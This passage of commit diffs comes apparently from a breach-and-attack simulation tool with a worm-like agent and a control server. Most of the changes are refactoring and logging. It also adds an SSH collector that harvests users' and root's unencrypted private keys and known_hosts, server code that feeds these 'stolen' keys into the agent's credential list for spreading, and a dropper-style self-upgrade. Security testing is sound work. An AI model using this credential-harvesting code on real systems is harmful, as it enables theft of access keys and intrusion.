return "<ClassCRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
def _get_range(self):
return range(1, 254)
class RelativeRange(NetworkRange):
def __init__(self, base_address, shuffle=True):
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0]
super(RelativeRange, self).__init__(base_address, shuffle=shuffle)
self._size = 1
def __repr__(self):
return "<RelativeRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)),
socket.inet_ntoa(struct.pack(">L", self._base_address + self._size)))
def _get_range(self):
lower_end = -(self._size / 2)
higher_end = lower_end + self._size
return range(lower_end, higher_end + 1)
class FixedRange(NetworkRange):
def __init__(self, fixed_addresses=None, shuffle=True):
base_address = 0
super(FixedRange, self).__init__(base_address, shuffle=shuffle)
if not fixed_addresses:
self._fixed_addresses = self._config.range_fixed
else:
if type(fixed_addresses) is str:
self._fixed_addresses = [fixed_addresses]
else:
self._fixed_addresses = list(fixed_addresses)
def __repr__(self):
return "<FixedRange %s>" % (",".join(self._fixed_addresses))
def _get_range(self):
address_range = []
for address in self._fixed_addresses:
if not address: # Empty string
continue
address_range.append(struct.unpack(">L", socket.inet_aton(address.strip()))[0])
return address_range

View File

@ -144,13 +144,13 @@ class SMBFinger(HostFinger):
host.os['type'] = 'linux' host.os['type'] = 'linux'
host.services[SMB_SERVICE]['name'] = service_client host.services[SMB_SERVICE]['name'] = service_client
if not host.os.has_key('version'): if 'version' not in host.os:
host.os['version'] = os_version host.os['version'] = os_version
else: else:
host.services[SMB_SERVICE]['os-version'] = os_version host.services[SMB_SERVICE]['os-version'] = os_version
return True return True
except Exception, exc: except Exception as exc:
LOG.debug("Error getting smb fingerprint: %s", exc) LOG.debug("Error getting smb fingerprint: %s", exc)
return False return False

View File

@ -10,9 +10,11 @@ odict
paramiko paramiko
psutil==3.4.2 psutil==3.4.2
PyInstaller PyInstaller
six
ecdsa ecdsa
netifaces netifaces
mock mock
nos nos
ipaddress ipaddress
wmi wmi

View File

@ -0,0 +1,96 @@
import logging
import pwd
import os
import glob
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class SSHCollector(object):
"""
SSH keys and known hosts collection module
"""
default_dirs = ['/.ssh/', '/']
@staticmethod
def get_info():
LOG.info("Started scanning for ssh keys")
home_dirs = SSHCollector.get_home_dirs()
ssh_info = SSHCollector.get_ssh_files(home_dirs)
LOG.info("Scanned for ssh keys")
return ssh_info
@staticmethod
def get_ssh_struct(name, home_dir):
"""
:return: SSH info struct with these fields:
name: username of user, for whom the keys belong
home_dir: users home directory
public_key: contents of *.pub file(public key)
private_key: contents of * file(private key)
known_hosts: contents of known_hosts file(all the servers keys are good for,
possibly hashed)
"""
return {'name': name, 'home_dir': home_dir, 'public_key': None,
'private_key': None, 'known_hosts': None}
@staticmethod
def get_home_dirs():
root_dir = SSHCollector.get_ssh_struct('root', '')
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
if x.pw_dir.startswith('/home')]
home_dirs.append(root_dir)
return home_dirs
@staticmethod
def get_ssh_files(usr_info):
for info in usr_info:
path = info['home_dir']
for directory in SSHCollector.default_dirs:
if os.path.isdir(path + directory):
try:
current_path = path + directory
# Searching for public key
if glob.glob(os.path.join(current_path, '*.pub')):
# Getting first file in current path with .pub extension(public key)
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
LOG.info("Found public key in %s" % public)
try:
with open(public) as f:
info['public_key'] = f.read()
# By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
try:
with open(private) as f:
# no use from ssh key if it's encrypted
private_key = f.read()
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
else:
continue
except (IOError, OSError):
pass
# By default known hosts file is called 'known_hosts'
known_hosts = os.path.join(current_path, 'known_hosts')
if os.path.exists(known_hosts):
try:
with open(known_hosts) as f:
info['known_hosts'] = f.read()
LOG.info("Found known_hosts in %s" % known_hosts)
except (IOError, OSError):
pass
# If private key found don't search more
if info['private_key']:
break
except (IOError, OSError):
pass
except OSError:
pass
usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
or info['public_key']]
return usr_info

View File

@ -96,7 +96,7 @@ class AzureCollector(object):
except IOError: except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file") LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None return None
except (KeyError, ValueError): except (KeyError, ValueError, IndexError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format") LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None return None
except subprocess.CalledProcessError: except subprocess.CalledProcessError:

View File

@ -1,6 +1,7 @@
import logging import logging
from . import InfoCollector from . import InfoCollector
from SSH_info_collector import SSHCollector
__author__ = 'uri' __author__ = 'uri'
@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector):
self.get_process_list() self.get_process_list()
self.get_network_info() self.get_network_info()
self.get_azure_info() self.get_azure_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info return self.info

View File

@ -26,7 +26,7 @@ class MimikatzCollector(object):
self._get = get_proto(("get", self._dll)) self._get = get_proto(("get", self._dll))
self._getTextOutput = getTextOutput(("getTextOutput", self._dll)) self._getTextOutput = getTextOutput(("getTextOutput", self._dll))
self._isInit = True self._isInit = True
except StandardError: except Exception:
LOG.exception("Error initializing mimikatz collector") LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self): def get_logon_info(self):
@ -75,7 +75,7 @@ class MimikatzCollector(object):
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary return logon_data_dictionary
except StandardError: except Exception:
LOG.exception("Error getting logon info") LOG.exception("Error getting logon info")
return {} return {}

View File

@ -1,45 +0,0 @@
# -*- coding: UTF-8 -*-
# NOTE: Launch all tests with `nosetests` command from infection_monkey dir.
import json
import unittest
from mock import Mock, patch
import control
from config import GUID
class ReportConfigErrorTestCase(unittest.TestCase):
"""
When unknown config variable received form the island server, skip it and report config
error back to the server.
"""
config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}}))
def teardown(self):
patch.stopall()
def test_config(self):
patch('control.requests.patch', Mock()).start()
patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start()
# GIVEN the server with uknown config variable
patch('control.requests.get', Mock(return_value=self.config_response)).start()
# WHEN monkey tries to load config from server
control.ControlClient.load_control_config()
# THEN she reports config error back to the server
control.requests.patch.assert_called_once_with(
"https://127.0.0.1:123/api/monkey/%s" % GUID,
data=json.dumps({'config_error': True}),
headers={'content-type': 'application/json'},
verify=False,
proxies=control.ControlClient.proxies)
if __name__ == '__main__':
unittest.main()

View File

@ -1,4 +1,3 @@
from ftp import FTPServer
from http import HTTPServer from http import HTTPServer
__author__ = 'hoffer' __author__ = 'hoffer'

View File

@ -1,174 +0,0 @@
import socket, threading, time
import StringIO
__author__ = 'hoffer'
class FTPServer(threading.Thread):
def __init__(self, local_ip, local_port, files):
self.files=files
self.cwd='/'
self.mode='I'
self.rest=False
self.pasv_mode=False
self.local_ip = local_ip
self.local_port = local_port
threading.Thread.__init__(self)
def run(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((self.local_ip,self.local_port))
self.sock.listen(1)
self.conn, self.addr = self.sock.accept()
self.conn.send('220 Welcome!\r\n')
while True:
if 0 == len(self.files):
break
cmd=self.conn.recv(256)
if not cmd: break
else:
try:
func=getattr(self,cmd[:4].strip().upper())
func(cmd)
except Exception,e:
self.conn.send('500 Sorry.\r\n')
break
self.conn.close()
self.sock.close()
def SYST(self,cmd):
self.conn.send('215 UNIX Type: L8\r\n')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send('200 OK.\r\n')
else:
self.conn.send('451 Sorry.\r\n')
def USER(self,cmd):
self.conn.send('331 OK.\r\n')
def PASS(self,cmd):
self.conn.send('230 OK.\r\n')
def QUIT(self,cmd):
self.conn.send('221 Goodbye.\r\n')
def NOOP(self,cmd):
self.conn.send('200 OK.\r\n')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
def CDUP(self,cmd):
self.conn.send('200 OK.\r\n')
def PWD(self,cmd):
self.conn.send('257 \"%s\"\r\n' % self.cwd)
def CWD(self,cmd):
self.conn.send('250 OK.\r\n')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l = cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8)+int(l[5])
self.conn.send('200 Get port.\r\n')
def PASV(self,cmd):
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((local_ip,0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
self.start_datasock()
for fn in self.files.keys():
k=self.toListItem(fn)
self.datasock.send(k+'\r\n')
self.stop_datasock()
self.conn.send('226 Directory send OK.\r\n')
def toListItem(self,fn):
fullmode='rwxrwxrwx'
mode = ''
d = '-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
def MKD(self,cmd):
self.conn.send('257 Directory created.\r\n')
def RMD(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def DELE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def SIZE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def RNFR(self,cmd):
self.conn.send('350 Ready.\r\n')
def RNTO(self,cmd):
self.conn.send('250 File renamed.\r\n')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send('250 File position reseted.\r\n')
def RETR(self,cmd):
fn = cmd[5:-2]
if self.mode=='I':
fi=self.files[fn]
else:
fi=self.files[fn]
self.conn.send('150 Opening data connection.\r\n')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
del self.files[fn]
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')
def STOR(self,cmd):
fn = cmd[5:-2]
fo = StringIO.StringIO()
self.conn.send('150 Opening data connection.\r\n')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.seek(0)
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')

View File

@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
address = (u.hostname, u.port or 443) address = (u.hostname, u.port or 443)
try: try:
conn = socket.create_connection(address) conn = socket.create_connection(address)
except socket.error, e: except socket.error as e:
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
self.send_error(504) # 504 Gateway Timeout self.send_error(504) # 504 Gateway Timeout
return return

View File

@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase):
try: try:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.connect((self.dest_host, self.dest_port)) dest.connect((self.dest_host, self.dest_port))
except socket.error, ex: except socket.error as ex:
source.close() source.close()
dest.close() dest.close()
continue continue

View File

@ -1,5 +1,6 @@
import os import os
import sys import sys
import struct
from config import WormConfiguration from config import WormConfiguration
@ -12,3 +13,19 @@ def get_monkey_log_path():
def get_dropper_log_path(): def get_dropper_log_path():
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
else WormConfiguration.dropper_log_path_linux else WormConfiguration.dropper_log_path_linux
def is_64bit_windows_os():
'''
Checks for 64 bit Windows OS using environment variables.
:return:
'''
return 'PROGRAMFILES(X86)' in os.environ
def is_64bit_python():
return struct.calcsize("P") == 8
def is_windows_os():
return sys.platform.startswith("win")

View File

@ -0,0 +1,58 @@
import logging
import subprocess
import sys
import shutil
import time
import monkeyfs
from config import WormConfiguration
from control import ControlClient
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
class WindowsUpgrader(object):
__UPGRADE_WAIT_TIME__ = 3
@staticmethod
def should_upgrade():
return is_windows_os() and is_64bit_windows_os() \
and not is_64bit_python()
@staticmethod
def upgrade(opts):
try:
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError):
LOG.error("Failed to download the Monkey to the target path.")
return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
monkey_process.pid, monkey_cmdline)
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
if monkey_process.poll() is not None:
LOG.error("Seems like monkey died too soon")

View File

@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun
from cc.resources.edge import Edge from cc.resources.edge import Edge
from cc.resources.local_run import LocalRun from cc.resources.local_run import LocalRun
from cc.resources.log import Log from cc.resources.log import Log
from cc.resources.island_logs import IslandLog
from cc.resources.monkey import Monkey from cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.monkey_download import MonkeyDownload from cc.resources.monkey_download import MonkeyDownload
@ -106,6 +107,7 @@ def init_app(mongo_url):
api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(Report, '/api/report', '/api/report/')
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/')
api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/') api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/')

View File

@ -1,7 +1,11 @@
import json import json
import logging
import standard import standard
import aws import aws
logger = logging.getLogger(__name__)
ENV_DICT = { ENV_DICT = {
'standard': standard.StandardEnvironment, 'standard': standard.StandardEnvironment,
'aws': aws.AwsEnvironment 'aws': aws.AwsEnvironment
@ -18,6 +22,7 @@ def load_env_from_file():
try: try:
__env_type = load_env_from_file() __env_type = load_env_from_file()
env = ENV_DICT[__env_type]() env = ENV_DICT[__env_type]()
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
except Exception: except Exception:
print('Failed initializing environment: %s' % __env_type) logger.error('Failed initializing environment', exc_info=True)
raise raise

View File

@ -0,0 +1,26 @@
import os
import json
import logging.config
__author__ = 'Maor.Rayzin'
def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'):
"""
Setup the logging configuration
:param default_path: the default log configuration file path
:param default_level: Default level to log from
:param env_key: SYS ENV key to use for external configuration file path
:return:
"""
path = default_path
value = os.getenv(env_key, None)
if value:
path = value
if os.path.exists(path):
with open(path, 'rt') as f:
config = json.load(f)
logging.config.dictConfig(config)
else:
logging.basicConfig(level=default_level)

View File

@ -0,0 +1,33 @@
{
"version": 1,
"disable_existing_loggers": false,
"formatters": {
"simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "INFO",
"handlers": ["console", "info_file_handler"]
}
}

View File

@ -2,19 +2,25 @@ from __future__ import print_function # In python 2.7
import os import os
import sys import sys
import time import time
import logging
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path: if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH) sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app from cc.app import init_app
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
from cc.environment.environment import env from cc.environment.environment import env
from cc.database import is_db_server_up from cc.database import is_db_server_up
if __name__ == '__main__':
def main():
from tornado.wsgi import WSGIContainer from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
@ -22,7 +28,7 @@ if __name__ == '__main__':
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
while not is_db_server_up(mongo_url): while not is_db_server_up(mongo_url):
print('Waiting for MongoDB server') logger.info('Waiting for MongoDB server')
time.sleep(1) time.sleep(1)
app = init_app(mongo_url) app = init_app(mongo_url)
@ -33,6 +39,10 @@ if __name__ == '__main__':
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) 'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
http_server.listen(env.get_island_port()) http_server.listen(env.get_island_port())
print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start() IOLoop.instance().start()
if __name__ == '__main__':
main()

View File

@ -1,3 +1,4 @@
import logging
from flask import request, jsonify from flask import request, jsonify
import flask_restful import flask_restful
@ -5,6 +6,8 @@ from cc.services.node import NodeService
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class ClientRun(flask_restful.Resource): class ClientRun(flask_restful.Resource):
def get(self): def get(self):
@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource):
if monkey is not None: if monkey is not None:
is_monkey_running = not monkey["dead"] is_monkey_running = not monkey["dead"]
else: else:
logger.info("Monkey is not running")
is_monkey_running = False is_monkey_running = False
return jsonify(is_running=is_monkey_running) return jsonify(is_running=is_monkey_running)

View File

@ -0,0 +1,19 @@
import logging
import flask_restful
from cc.auth import jwt_required
from cc.services.island_logs import IslandLogService
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLog(flask_restful.Resource):
@jwt_required()
def get(self):
try:
return IslandLogService.get_log_file()
except Exception as e:
logger.error('Monkey Island logs failed to download', exc_info=True)

View File

@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak' __author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)
def run_local_monkey(): def run_local_monkey():
import platform import platform
@ -32,6 +34,7 @@ def run_local_monkey():
copyfile(monkey_path, target_path) copyfile(monkey_path, target_path)
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
except Exception as exc: except Exception as exc:
logger.error('Copy file failed', exc_info=True)
return False, "Copy file failed: %s" % exc return False, "Copy file failed: %s" % exc
# run the monkey # run the monkey
@ -41,6 +44,7 @@ def run_local_monkey():
args = "".join(args) args = "".join(args)
pid = subprocess.Popen(args, shell=True).pid pid = subprocess.Popen(args, shell=True).pid
except Exception as exc: except Exception as exc:
logger.error('popen failed', exc_info=True)
return False, "popen failed: %s" % exc return False, "popen failed: %s" % exc
return True, "pis: %s" % pid return True, "pis: %s" % pid

View File

@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource):
@jwt_required() @jwt_required()
def post(self): def post(self):
config_json = json.loads(request.data) config_json = json.loads(request.data)
if config_json.has_key('reset'): if 'reset' in config_json:
ConfigService.reset_config() ConfigService.reset_config()
else: else:
ConfigService.update_config(config_json, should_encrypt=True) ConfigService.update_config(config_json, should_encrypt=True)

View File

@ -1,3 +1,4 @@
import logging
import json import json
import os import os
@ -6,6 +7,8 @@ import flask_restful
__author__ = 'Barak' __author__ = 'Barak'
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [ MONKEY_DOWNLOADS = [
{ {
@ -18,6 +21,11 @@ MONKEY_DOWNLOADS = [
'machine': 'i686', 'machine': 'i686',
'filename': 'monkey-linux-32', 'filename': 'monkey-linux-32',
}, },
{
'type': 'linux',
'machine': 'i386',
'filename': 'monkey-linux-32',
},
{ {
'type': 'linux', 'type': 'linux',
'filename': 'monkey-linux-64', 'filename': 'monkey-linux-64',
@ -32,6 +40,16 @@ MONKEY_DOWNLOADS = [
'machine': 'amd64', 'machine': 'amd64',
'filename': 'monkey-windows-64.exe', 'filename': 'monkey-windows-64.exe',
}, },
{
'type': 'windows',
'machine': '64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '32',
'filename': 'monkey-windows-32.exe',
},
{ {
'type': 'windows', 'type': 'windows',
'filename': 'monkey-windows-32.exe', 'filename': 'monkey-windows-32.exe',
@ -42,7 +60,10 @@ MONKEY_DOWNLOADS = [
def get_monkey_executable(host_os, machine): def get_monkey_executable(host_os, machine):
for download in MONKEY_DOWNLOADS: for download in MONKEY_DOWNLOADS:
if host_os == download.get('type') and machine == download.get('machine'): if host_os == download.get('type') and machine == download.get('machine'):
logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine))
return download return download
logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}'
.format(host_os, machine))
return None return None

View File

@ -1,4 +1,5 @@
from datetime import datetime from datetime import datetime
import logging
import flask_restful import flask_restful
from flask import request, make_response, jsonify from flask import request, make_response, jsonify
@ -12,10 +13,11 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak' __author__ = 'Barak'
logger = logging.getLogger(__name__)
class Root(flask_restful.Resource): class Root(flask_restful.Resource):
@jwt_required()
def get(self, action=None): def get(self, action=None):
if not action: if not action:
action = request.args.get('action') action = request.args.get('action')
@ -26,31 +28,42 @@ class Root(flask_restful.Resource):
return Root.reset_db() return Root.reset_db()
elif action == "killall": elif action == "killall":
return Root.kill_all() return Root.kill_all()
elif action == "is-up":
return {'is-up': True}
else: else:
return make_response(400, {'error': 'unknown action'}) return make_response(400, {'error': 'unknown action'})
@staticmethod @staticmethod
@jwt_required()
def get_server_info(): def get_server_info():
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
completed_steps=Root.get_completed_steps()) completed_steps=Root.get_completed_steps())
@staticmethod @staticmethod
@jwt_required()
def reset_db(): def reset_db():
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config() ConfigService.init_config()
logger.info('DB was reset')
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@jwt_required()
def kill_all(): def kill_all():
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False, upsert=False,
multi=True) multi=True)
logger.info('Kill all monkeys was called')
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@jwt_required()
def get_completed_steps(): def get_completed_steps():
is_any_exists = NodeService.is_any_monkey_exists() is_any_exists = NodeService.is_any_monkey_exists()
infection_done = NodeService.is_monkey_finished_running() infection_done = NodeService.is_monkey_finished_running()
report_done = ReportService.is_report_generated() if not infection_done:
report_done = False
else:
report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)

View File

@ -17,7 +17,8 @@ from cc.encryptor import encryptor
__author__ = 'Barak' __author__ = 'Barak'
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class Telemetry(flask_restful.Resource): class Telemetry(flask_restful.Resource):
@ -55,10 +56,9 @@ class Telemetry(flask_restful.Resource):
if telem_type in TELEM_PROCESS_DICT: if telem_type in TELEM_PROCESS_DICT:
TELEM_PROCESS_DICT[telem_type](telemetry_json) TELEM_PROCESS_DICT[telem_type](telemetry_json)
else: else:
print('Got unknown type of telemetry: %s' % telem_type) logger.info('Got unknown type of telemetry: %s' % telem_type)
except StandardError as ex: except Exception as ex:
print("Exception caught while processing telemetry: %s" % str(ex)) logger.error("Exception caught while processing telemetry", exc_info=True)
traceback.print_exc()
telem_id = mongo.db.telemetry.insert(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json)
return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -133,7 +133,7 @@ class Telemetry(flask_restful.Resource):
for attempt in telemetry_json['data']['attempts']: for attempt in telemetry_json['data']['attempts']:
if attempt['result']: if attempt['result']:
found_creds = {'user': attempt['user']} found_creds = {'user': attempt['user']}
for field in ['password', 'lm_hash', 'ntlm_hash']: for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
if len(attempt[field]) != 0: if len(attempt[field]) != 0:
found_creds[field] = attempt[field] found_creds[field] = attempt[field]
NodeService.add_credentials_to_node(edge['to'], found_creds) NodeService.add_credentials_to_node(edge['to'], found_creds)
@ -170,16 +170,23 @@ class Telemetry(flask_restful.Resource):
@staticmethod @staticmethod
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):
LOG.debug("Processing system info telemtery for encryption...") if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
if telemetry_json['data']['network_info']['networks']:
# We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
if 'credentials' in telemetry_json['data']: if 'credentials' in telemetry_json['data']:
LOG.debug("Encrypting telemetry credentials...")
creds = telemetry_json['data']['credentials'] creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds) Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds) Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds) Telemetry.replace_user_dot_with_comma(creds)
LOG.debug("Done enrypting") @staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):
for key in ssh_info:
key['ip'] = ip['addr']
@staticmethod @staticmethod
def process_trace_telemetry(telemetry_json): def process_trace_telemetry(telemetry_json):
@ -198,7 +205,15 @@ class Telemetry(flask_restful.Resource):
for user in creds: for user in creds:
for field in ['password', 'lm_hash', 'ntlm_hash']: for field in ['password', 'lm_hash', 'ntlm_hash']:
if field in creds[user]: if field in creds[user]:
creds[user][field] = encryptor.enc(creds[user][field]) # this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
@staticmethod
def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
@staticmethod @staticmethod
def add_system_info_creds_to_config(creds): def add_system_info_creds_to_config(creds):
@ -211,6 +226,15 @@ class Telemetry(flask_restful.Resource):
if 'ntlm_hash' in creds[user]: if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
@staticmethod
def add_system_info_ssh_keys_to_config(ssh_info):
for user in ssh_info:
ConfigService.creds_add_username(user['name'])
# Public key is useless without private key
if user['public_key'] and user['private_key']:
